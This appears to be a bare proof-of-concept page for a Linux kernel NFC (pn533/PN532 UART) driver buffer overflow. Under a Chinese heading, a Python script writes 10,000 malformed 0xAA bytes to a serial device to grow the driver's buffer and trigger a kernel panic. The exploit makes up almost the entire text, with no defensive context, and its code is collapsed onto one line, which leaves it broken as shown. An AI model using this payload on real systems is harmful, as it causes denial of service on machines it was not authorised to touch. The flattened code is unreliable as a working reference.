CVE-2026-43032: Linux内核NFC驱动缓冲区溢出漏洞

import serial # Proof of Concept for CVE-2026-43032 # This script attempts to trigger the buffer overflow in the pn533 driver # by sending a continuous stream of bytes without a valid frame header. def trigger_poc(device_path='/dev/ttyUSB0'): try: # Attempt to open the serial device connected to the PN532 ser = serial.Serial(device_path, baudrate=115200, timeout=1) # Generate a payload of bytes that do not match the PN532 frame header. # A valid frame starts with specific preamble bytes (e.g., 0x00, 0xFF). # Sending a stream of 0xAA (or any non-header byte) prevents # pn532_uart_rx_is_frame() from recognizing a frame, causing the buffer to grow. malicious_payload = b'\xAA' * 10000 print(f"[+] Sending {len(malicious_payload)} bytes of malformed data to {device_path}...") ser.write(malicious_payload) print("[+] Payload sent. Monitor the system for kernel panic or instability.") ser.close() except serial.SerialException as e: print(f"[-] Serial port error: {e}") except Exception as e: print(f"[-] Unexpected error: {e}") if __name__ == "__main__": trigger_poc()